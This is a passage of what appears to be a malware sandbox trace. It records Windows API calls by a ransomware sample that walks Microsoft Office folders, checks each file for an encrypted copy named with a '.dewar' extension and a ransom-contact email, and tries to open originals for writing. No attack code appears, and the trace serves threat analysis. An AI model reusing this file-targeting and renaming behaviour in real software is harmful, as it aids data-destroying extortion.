Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0237.137] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1458) returned 1 [0237.137] CloseHandle (hObject=0x1f0) returned 1 [0237.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0237.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0237.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0237.148] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=811) returned 1 [0237.148] CloseHandle (hObject=0x1ac) returned 1 [0237.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0237.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0237.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0237.151] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5884) returned 1 [0237.151] CloseHandle (hObject=0x1ac) returned 1 [0237.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0237.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0237.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0237.513] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=16852) returned 1 [0237.513] CloseHandle (hObject=0x1c8) returned 1 [0237.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0237.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0237.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.514] SetEvent (hEvent=0x118) returned 1 [0237.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0237.515] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1450) returned 1 [0237.516] CloseHandle (hObject=0x1c8) returned 1 [0237.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0237.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0237.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0237.520] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1608) returned 1 [0237.520] CloseHandle (hObject=0x1c8) returned 1 [0237.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0237.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0237.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0237.529] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1377144) returned 1 [0237.529] CloseHandle (hObject=0x1c8) returned 1 [0237.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe")) returned 0x20 [0237.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe")) returned 0x20 [0237.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.534] SetEvent (hEvent=0x118) returned 1 [0237.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.539] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=6241) returned 1 [0237.539] CloseHandle (hObject=0x1e0) returned 1 [0237.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0237.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0237.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.542] SetEvent (hEvent=0x118) returned 1 [0237.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.547] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=9503) returned 1 [0237.547] CloseHandle (hObject=0x1e0) returned 1 [0237.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0237.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0237.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.548] SetEvent (hEvent=0x118) returned 1 [0237.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.555] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=20577) returned 1 [0237.555] CloseHandle (hObject=0x1e0) returned 1 [0237.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0237.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0237.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.665] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=8723) returned 1 [0237.665] CloseHandle (hObject=0x1e0) returned 1 [0237.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0237.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0237.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0237.854] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2424) returned 1 [0237.857] CloseHandle (hObject=0x1e4) returned 1 [0237.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0237.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0237.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.868] SetEvent (hEvent=0x118) returned 1 [0238.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.088] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=148736) returned 1 [0238.088] CloseHandle (hObject=0x1e4) returned 1 [0238.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll")) returned 0x20 [0238.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll")) returned 0x20 [0238.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.247] SetEvent (hEvent=0x118) returned 1 [0238.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.254] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=17280) returned 1 [0238.255] CloseHandle (hObject=0x1e4) returned 1 [0238.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll")) returned 0x20 [0238.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll")) returned 0x20 [0238.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.256] SetEvent (hEvent=0x118) returned 1 [0238.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart 